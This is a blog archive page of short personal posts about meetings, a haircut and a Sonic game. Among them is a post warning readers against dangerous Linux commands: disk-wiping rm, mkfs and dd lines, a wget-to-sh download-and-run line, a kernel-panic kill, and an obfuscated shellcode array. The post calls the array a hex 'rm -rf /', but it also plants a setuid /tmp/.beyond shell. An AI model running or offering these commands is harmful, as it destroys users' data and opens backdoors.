Wherever I go, there are always lots of meetings! I guess there are necessary evil, but they are such a waste of time. In light of this, I absolutely loved today’s Dilbert comic

Linux gives you a lot of power, including the power to shoot yourself in the foot.

Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run “these magical commands”.

[geshi lang=bash]rm -rf /[/geshi]

This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go “poof!”)

[geshi lang=bash]char esp[] attribute ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;[/geshi]

This is the hex version of rm -rf /. A lot harder to spot!

[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]

This will reformat your /dev/sda device (usually your primary hard drive)

[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]

This will blank (i.e. factory default) your hard drive

This is known as a forkbomb that will start a huge amount of processes until the system crashes

[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]

This will download some source code from the Internet and then execute it on your computer

[geshi lang=bash]kill -6 1[/geshi]

This will force your kernel to panic (i.e. your computer will crash)

Compiled from: this blog post and comments

I went yesterday to get a badly needed haircut

I’ve always had short hair, but I’m starting to experiment with different Asian men’s hair styles (shorter on the sides, but longer on top). I figured that since I’m in China, it would be a good time to try Asian hair styles, lol

I just found out that there is a new Sonic the Hedgehog came coming out: Sonic Unleashed (http://en.wikipedia.org/wiki/Sonic_Unleashed).

Sega is really trying to revamp the Sonic franchise with this game. They are switching from 2D to 3D seemlessly during the levels providing the best of both words. In addition, they have introduced a slower, exploring, hack-n-slash game mode as well.

It looks really interesting!